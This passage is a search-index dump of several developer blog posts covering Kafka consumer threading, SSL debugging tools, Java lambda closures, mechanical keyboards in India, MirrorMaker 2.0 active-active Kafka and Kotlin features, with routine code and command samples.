consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 5 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 9 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 On the other hand, if we split the consumption within different methods,\n@KafkaListener(containerFactory = \u0026#34;kafkaListenerContainerFactory\u0026#34;, topics = \u0026#34;test-topic\u0026#34;) public void consume(String message) { logger.info(String.format(\u0026#34;$$ -\u0026gt; Consumed Message -\u0026gt; %s\u0026#34;,message)); } @KafkaListener(containerFactory = \u0026#34;kafkaListenerContainerFactory\u0026#34;, topics = \u0026#34;test-topic2\u0026#34;) public void consume2(String message) { logger.info(String.format(\u0026#34;$$ -\u0026gt; Consumed Message -\u0026gt; %s\u0026#34;,message)); } @KafkaListener(containerFactory = \u0026#34;kafkaListenerContainerFactory\u0026#34;, topics = \u0026#34;test-topic3\u0026#34;) public void consume3(String message) { logger.info(String.format(\u0026#34;$$ -\u0026gt; Consumed Message -\u0026gt; %s\u0026#34;,message)); } Spring will automatically spawn a thread for each listener even though we have provided the concurrency as one\nGROUP TOPIC PARTITION CONSUMER-ID HOST CLIENT-ID spring-group test-topic3 6 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 7 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 0 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 3 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 1 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 2 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 8 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 4 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 5 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic3 9 consumer-1-edd9ef42-6a06-4289-925b-f97cb489e8c7 /172.22.0.1 consumer-1 spring-group test-topic2 5 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 9 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 2 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 6 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 0 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 3 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 7 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 1 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 8 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic2 4 consumer-3-b5304419-cde4-4355-b194-ee7bb8b40894 /172.22.0.1 consumer-3 spring-group test-topic 8 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 2 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 1 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 4 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 5 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 6 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 3 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 7 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 9 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 spring-group test-topic 0 consumer-2-18796186-831a-468a-b3c4-b39d43f750f0 /172.22.0.1 consumer-2 This is a very important distinct to be aware of in order to properly scale your applications to consume the heavy traffic from the topics without any lag.\nSo what we understand is that the method setConcurrency is per instance of KafkaListener\nIt is also important to understand that there is no point creating more threads than there are number of partitions as those will be left idle.\nThe above sample application source can be found in my Github repository\nIn the next post, we will look at Multi-threaded consumer model.\n","permalink":"https://madhur.co.in/blog/2020/08/30/kafka-consumer-multithreading.html","summary":"\u003cp\u003eMultithreading / Concurrency have always been the favorite topic of mine. It gives me a pure joy to extract most out of a machine by loading the CPU with work just like a master exploiting its slaves :)\u003c/p\u003e\n\u003cp\u003eUnfortunately, these days due to distributed nature of computing, most of the time in a machine is spent waiting on I/O (either from database, API\u0026rsquo;s etc.) and our CPU just sits idle most of the time.\u003c/p\u003e","title":"Kafka Consumer Multithreading"},{"content":"I wrote this article Debugging SSL Issues in Java almost 4 years ago. I am writing again a new post on the same topic because I faced the same issue and that article didn\u0026rsquo;t help me. So I\u0026rsquo;ll list my new learnings in this post and it will be to the point.\nUse -Djavax.net.debug=all to command line When using Java program, you can add -Djavax.net.debug=all to the command line to produce debug output of the complete handshake of SSL.\nIn short, this is how the handshake looks like\nClient Server ClientHello ----\u0026gt; ServerHello Certificate* ServerKeyExchange* CertificateRequest* ServerHelloDone \u0026lt;---- Certificate* ClientKeyExchange CertificateVerify* [ChangeCipherSpec] Finished ----\u0026gt; [ChangeCipherSpec] Finished \u0026lt;----- Application Data \u0026lt;-----\u0026gt; Application Data In our case, server abruptly stopped responding after client sent [ChangeCipherSpec] message.\nSSLDump SSLDump is another utility which can show decrypted SSL traffic to debug any issues. So, if you are not using Java, this is the utility to go to debug the SSL issue.\nIts output will be as follows, showing each of the SSL handshake.\n3 1 0.5765 (0.5765) C\u0026gt;S Handshake ClientHello Version 3.3 cipher suites TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 compression methods NULL 3 2 0.6972 (0.1207) S\u0026gt;C Handshake ServerHello Version 3.3 session_id[32]= ac f1 e7 3d 87 18 3f 75 f4 b5 d8 bc 61 51 dc 8e da 1c db 82 89 c4 d1 df 60 83 e3 8b 56 c7 23 87 cipherSuite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 compressionMethod NULL 3 3 0.6972 (0.0000) S\u0026gt;C Handshake Certificate 3 4 0.6972 (0.0000) S\u0026gt;C Handshake ServerKeyExchange Not enough data. Found 327 bytes (expecting 32767) 3 5 0.6972 (0.0000) S\u0026gt;C Handshake ServerHelloDone 3 6 0.7427 (0.0454) C\u0026gt;S Handshake ClientKeyExchange Not enough data. Found 64 bytes (expecting 16384) 3 7 0.7598 (0.0171) C\u0026gt;S ChangeCipherSpec 3 8 0.7605 (0.0007) C\u0026gt;S Handshake 3 9 0.8779 (0.1173) S\u0026gt;C ChangeCipherSpec 3 10 0.8779 (0.0000) S\u0026gt;C Handshake 3 11 0.8956 (0.0177) C\u0026gt;S application_data 3 12 1.0474 (0.1517) S\u0026gt;C application_data 3 13 11.0491 (10.0017) S\u0026gt;C Alert 3 11.0492 (0.0000) S\u0026gt;C TCP FIN Wireshark Wireshark or TCPDump can give some insights into what is happening. From the server terminal, you can capture the SSL traffic using TCPDump into a file and open it in wireshark\nsudo tcpdump -i eth0 -v -dst host x.x.x.x or src host x.x.x.x -w /tmp/test.pcap SSLLabs Analysis SSLLabs site can give very useful information about server capabilities of SSL certificates. It will show what versions of TLS and list of cipher suites are supported by server.\nIt can also perform the connection tests to the server using various clients such as Apache HTTP, OkHTTP, browsers, mobile etc.\nJava Runtime parameters There are various runtime parameters which affect the SSL connectivity in Java. Watch out for these parameters, if you are facing SSL issue in a Java application. Note that, its just not enough to look at the arguments while starting the program, since these runtime parameters can be set at runtime too.\nFor example, in one our client library, the following snippet of code disabled Server Name Indication which caused problems with the TLS connections to virtual servers, in which multiple servers for different network names are hosted at a single underlying network address.\nif (System.getProperty(\u0026#34;jsse.enableSNIExtension\u0026#34;) == null) { System.setProperty(\u0026#34;jsse.enableSNIExtension\u0026#34;, \u0026#34;false\u0026#34;); } There are other parameters to watch out for as well. Java Secure Socket Extension Reference Guide is a helpful page to start with.\nHope that helps anyone facing trouble with SSL connections. If you believe, there are some other useful tools to debug SSL issues further, do let me know in the comments.\n","permalink":"https://madhur.co.in/blog/2020/08/21/debugging-ssl-issues.html","summary":"\u003cp\u003eI wrote this article \u003ca href=\"/blog/2016/10/30/debugging-ssl-issues-java.html\"\u003eDebugging SSL Issues in Java\u003c/a\u003e almost 4 years ago. I am writing again\na new post on the same topic because I faced the same issue and that article\ndidn\u0026rsquo;t help me. So I\u0026rsquo;ll list my new learnings in this post and it will be to the\npoint.\u003c/p\u003e\n\u003ch3 id=\"use--djavaxnetdebugall-to-command-line\"\u003eUse -Djavax.net.debug=all to command line\u003c/h3\u003e\n\u003cp\u003eWhen using Java program, you can add \u003ccode\u003e-Djavax.net.debug=all\u003c/code\u003e to the command line to produce debug output of the complete handshake of SSL.\u003c/p\u003e","title":"Debugging SSL Issues"},{"content":"Recently, It got me thinking why do lambda functions require final variables after all. This is not a requirement in Kotlin.\nFor example, this code runs fine in kotlin\nfun main(args: Array\u0026lt;String\u0026gt;) { var index = 5 val list = mutableListOf\u0026lt;Int\u0026gt;() list.add(5) list.forEach(Consumer { o: Int -\u0026gt; index = 10 println(o * index) }) } Whereas a similar function in Java will give error\npublic static void main(String[] args) { Integer index = 5; List\u0026lt;Integer\u0026gt; list = new ArrayList\u0026lt;\u0026gt;(); list.forEach(o-\u0026gt; { index=10; System.out.println(o*index); }); } This will fail with a compilation failure\nError:(15, 13) java: local variables referenced from a lambda expression must be final or effectively final Effectively final is a new concept in Java 8.\n\u0026hellip; starting in Java SE 8, a local class can access local variables and parameters of the enclosing block that are final or effectively final. A variable or parameter whose value is never changed after it is initialized is effectively final.\nBut the question remains, why does a variable accessed inside a lambda function needs to be effectively final?\nThe answer has been given here\nIt\u0026rsquo;s basically due to the way Java manages closures.\nWhen you create an instance of an anonymous inner class, any variables which are used within that class \u0026gt; have their values copied in via the autogenerated constructor. This avoids the compiler having to autogenerate various extra types to hold the logical state of the \u0026ldquo;local variables\u0026rdquo;, as for example the C# compiler does\u0026hellip; (When C# captures a variable in an anonymous function, it really captures the variable - the closure can update the variable in a way which is seen by the main body of the method, and vice versa.)\nAs the value has been copied into the instance of the anonymous inner class, it would look odd if the \u0026gt; variable could be modified by the rest of the method - you could have code which appeared to be working with an out-of-date variable (because that\u0026rsquo;s effectively what would be happening\u0026hellip; you\u0026rsquo;d be working with a copy taken at a different time). Likewise if you could make changes within the anonymous inner class, developers might expect those changes to be visible within the body of the enclosing method.\nMaking the variable final removes all these possibilities - as the value can\u0026rsquo;t be changed at all, you \u0026gt; don\u0026rsquo;t need to worry about whether such changes will be visible. The only ways to allow the method and the anonymous inner class see each other\u0026rsquo;s changes is to use a mutable type of some description. This could be the enclosing class itself, an array, a mutable wrapper type\u0026hellip; anything like that. Basically it\u0026rsquo;s a bit like communicating between one method and another: changes made to the parameters of one method aren\u0026rsquo;t seen by its caller, but changes made to the objects referred to by the parameters are seen.\nIf you\u0026rsquo;re interested in a more detailed comparison between Java and C# closures, I have an article which \u0026gt; goes into it further. I wanted to focus on the Java side in this answer :)\n","permalink":"https://madhur.co.in/blog/2020/08/16/lambda-functions-final-variable.html","summary":"\u003cp\u003eRecently, It got me thinking why do lambda functions require final variables\nafter all. This is not a requirement in Kotlin.\u003c/p\u003e\n\u003cp\u003eFor example, this code runs fine in kotlin\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-kotlin\" data-lang=\"kotlin\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efun\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003evar\u003c/span\u003e \u003cspan class=\"py\"\u003eindex\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eval\u003c/span\u003e \u003cspan class=\"py\"\u003elist\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003emutableListOf\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eInt\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eConsumer\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eInt\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e \u003cspan class=\"p\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhereas a similar function in Java will give error\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eInteger\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eInteger\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis will fail with a compilation failure\u003c/p\u003e","title":"Why do Lambda functions require final variables"},{"content":"Recently, there has been a new trend of smaller keyboards because they consume lesser real estate.\nThese come in various form factors such as Tenkeyless (TKL), 60%, 65%, 80%, 96% keyboards.\n100% - These are our regular full size keyboards. This one is my older and the best in this category Das Keyboard Professional\n65% - These do not have function keys and neither the numpad. This one is Ducky one 2 SF\nTKL or 80% - Tenkeyless. They do not have numpad i.e. 10 keys less. One of the best is Ducky one 2 Skyline TKL\n60% - Similar to 65%, but these get rid of arrow keys too. This is Ducky one 2 Mini skyline blue\n96% - These essentially have all keys, but with compact design. Below is my current Keychron k4\nI too recently switched from Das Keyboard Professional to Keycrhon k4\nBest resources for mechanical keyboards in India:\nReddit - Mechanical Keyboards India - A place to discuss about mechanical keyboards in India\nMeckeys - Currently, the best place to buy mechanical keyboards in India\nKeychron.in - You can order keychron keyboards in India from here. Though they have been out of stock due to COVID for quite some time.\nReddit - Mechanical Keyboards - A best place if you want to assemble your own keyboard. Not for the purchasers.\nThere are other places as Amazon, AliExpress etc, but I don\u0026rsquo;t recommend due to the higher prices because of custom duty imports.\nCollecting and trying out various keyboards is slowly becoming one of my hobbies though a very expensive one :)\n","permalink":"https://madhur.co.in/blog/2020/08/08/best-mechanical-keyboards-india.html","summary":"\u003cp\u003eRecently, there has been a new trend of smaller keyboards because they consume\nlesser real estate.\u003c/p\u003e\n\u003cp\u003eThese come in various form factors such as Tenkeyless (TKL), 60%, 65%, 80%, 96%\nkeyboards.\u003c/p\u003e\n\u003cp\u003e100% - These are our regular full size keyboards. This one is my older and the\nbest in this category \u003ca href=\"https://www.daskeyboard.com/daskeyboard-4-professional/\"\u003eDas Keyboard\nProfessional\u003c/a\u003e\u003c/p\u003e\n\u003cimg src='/images/Blog/100.png' width=600px /\u003e\n\u003cp\u003e65% - These do not have function keys and neither the numpad. This one is \u003ca href=\"https://www.meckeys.com/shop/keyboard/65-keyboard/ducky-one-2-sf/\"\u003eDucky\none 2 SF\u003c/a\u003e\u003c/p\u003e","title":"Best Mechanical Keyboards in India for Engineers"},{"content":"In order to make our application, highly available and fault tolerant, I have been researching a lot on best disaster recovery strategy for Kafka.\nIn earlier relational systems, such as MySQL or Oracle, it was standard to have an active-passive cluster where in the application does reads and writes to a primary cluster. This primary cluster is asynchronously replicated to a secondary cluster. The application falls back to the secondary cluster incase the primary cluster fails.\nThe fall back can be automatic or manual. Database vendors such as Postgres, Oracle and MariaDB have built products to automate the failover.\nNewer distributed applications, such as NoSQL databases like Cassandra prefer an active-active approach. This because these databases might not require very high consistency.\nRecently, Kafka has also adopted this approach using MirrorMaker\nWhat is Mirror Maker In simple terms, Mirror Maker allows you to mirror a Kafka cluster to another cluster. All topics, partitions and messages are replicated. Any changes in source, like addition / deletion of topics, messages will be mirrored to destination. Mirror Makes allows Kafka users to setup an active-passive cluster where in an active cluster is continuously mirroring the data to secondary cluster.\nWhat is the problem ? All is good uptil now, until we realize that huge amount of infrastructure and network bandwidth is being wasted to maintain this active-passive cluster, wherein the passive cluster will come in use only when active goes down. Not to mention that large Kafka deployments process millions of messages per sec and all that data needs to be replicated to destination cluster.\nSolution - Mirror Maker 2.0 Kafka team has recently launched a new version of Mirror Maker 2.0, which allows you to setup a bi-directional mirror between two clusters. This solves the problem of wasted network infrastructure of secondary cluster which would have come in use only if primary cluster had gone down.\nSo, how does this work? In simple terms, Mirror Maker 2.0 does bi-directional mirroring, i.e. data from primary cluster will be mirrored to secondary cluster and data from secondary cluster will be mirrored to primary cluster.\nIf you logically think of this approach, this can result in an infinite loop, where in a message can be continuously mirrored between two clusters.\nTo solves, this problem, Mirror Maker allows topic renaming to eliminate the above problem. Let me illustrate how:\nLet\u0026rsquo;s say, We have two DC\u0026rsquo;s DC1 and DC2, with topics T1 and T2.\nProducer in DC1 produces message M1 in topic T1 and M2 in topic T2\nProducer in DC2 produces message M3 in topic T1 and M4 in topic T2\nNote that these two are completely different clusters with zookeepers of their own and hence topics T1 and T2 are local to their clusters.\nWhat Mirror maker will do is, it will create topic T1.DC2 and T2.DC2 in DC1, which will contain the replicated data from topics T1 and T2 of DC2\nSimilarly, in DC2, topics T1.DC1 and T2.DC1 will be created which will contain the replicated data from topics T1 and T2 of DC1\nDC1 DC2 +-------------------+ | | +-------------------+ | | | | | PRODUCER | | PRODUCER | | | | | +-------------------+ +-------------------+ PRODUCES M1 IN TOPIC T1 AND M2 IN TOPIC T2 PRODUCES M3 IN TOPIC T1 AND M4 IN TOPIC T2 +-------------------------------------+ +----------------------------------+ | Topic T1 M1 |---------------------------------------\u0026gt; | Topic T1.DC1 M1 | +-------------------------------------+ +----------------------------------+ +-------------------------------------+ +----------------------------------+ | Topic T1.DC2 M3 | \u0026lt;-------------------------------------- | Topic T1 M3 | +-------------------------------------+ +----------------------------------+ MIRROR MAKER +-------------------------------------+ +----------------------------------+ | Topic T2 M2 |---------------------------------------\u0026gt; | Topic T2.DC1 M2 | +-------------------------------------+ +----------------------------------+ +-------------------------------------+ +----------------------------------+ | Topic T2.DC2 M4 | \u0026lt;--------------------------------------- Topic T2 M4 | +-------------------------------------+ +----------------------------------+ In this case, the full network cluster bandwidth is utilized. The producers can load balance their traffic to two clusters either using round robin or local affinity.\nThe consumer in DC1 will have to subscribe to the data from both T1 and T1.DC2. This can be done easily using wild card subscription which is supported in most frameworks such as Spring as shown below:\n@KafkaListener(id = \u0026#34;xxx\u0026#34;, topicPattern = \u0026#34;kbgh.*\u0026#34;) public void listen(String in) { System.out.println(in); } Even if one DC goes down, the entire data is available in other cluster.\n","permalink":"https://madhur.co.in/blog/2020/08/01/active-active-kafka-cluster.html","summary":"\u003cp\u003eIn order to make our application, highly available and fault tolerant, I have been researching a lot on best disaster recovery strategy for Kafka.\u003c/p\u003e\n\u003cp\u003eIn earlier relational systems, such as MySQL or Oracle, it was standard to have an active-passive cluster where in the application does\nreads and writes to a primary cluster. This primary cluster is asynchronously replicated to a secondary cluster. The application falls back to the secondary cluster incase the primary cluster fails.\u003c/p\u003e","title":"Overview of Active-Active Kafka Cluster using MirrorMaker 2.0"},{"content":"Continuing article on Kotlin for Java Developers, Let\u0026rsquo;s continue the differences:\nInheritance Singletons when instead of switch Mutable variables inside lambda With keyword Inheritance Classes are final by default. We have to use open keyword to tell compiler to indicate that class is extensible\nSingletons In Kotlin, singletons can be simply defined using object keyword\nobject CompanyCommunications { val currentYear = Year.now().value fun getTagLine() = \u0026#34;Our company rocks\u0026#34; fun getCopyrihtLine() = \u0026#34;Copyright\u0026#34;; } Static keyword doesn\u0026rsquo;t exist in Kotlin.\nobject keyword can also be used to emulate static variables\nclass SomeClass { companion object { private val privateVar = 6 fun accessPrivateVar() { println(\u0026#34;I am printing $privateVar\u0026#34;) } } } when instead of switch Kotlin doesn\u0026rsquo;t have switch keyword, instead it introduced when keyword\nval z = when (something) { is String -\u0026gt;{ println(something.toUpperCase()) 1 } is BigDecimal -\u0026gt; { println(something.remainder(BigDecimal(10.5))) 2 } is Int -\u0026gt; { println(\u0026#34;${something - 22}\u0026#34;) 3 } else -\u0026gt; { println(\u0026#34;Doesn\u0026#39;t match anything\u0026#34;) -1 } } Mutable variables inside lambda In Kotlin, mutable variables can be accessed inside a lambda function\nWith keyword with keyword can be used in Kotlin to make code more concise when lot of operations are done on a variable For example,\nfun countTo100(): String { val numbers = StringBuilder() for (i in 1..99) { numbers.append(i) numbers.append(\u0026#34;, \u0026#34;) } numbers.append(100) return numbers.toString() } Can be written as,\nfun countTo100With() = with(StringBuilder()) { for (i in 1..99) { append(i) append(\u0026#34;, \u0026#34;) } append(100) toString() } ","permalink":"https://madhur.co.in/blog/2020/07/26/kotlin-for-java-developers-part3.html","summary":"\u003cp\u003eContinuing article on Kotlin for Java Developers, Let\u0026rsquo;s continue the 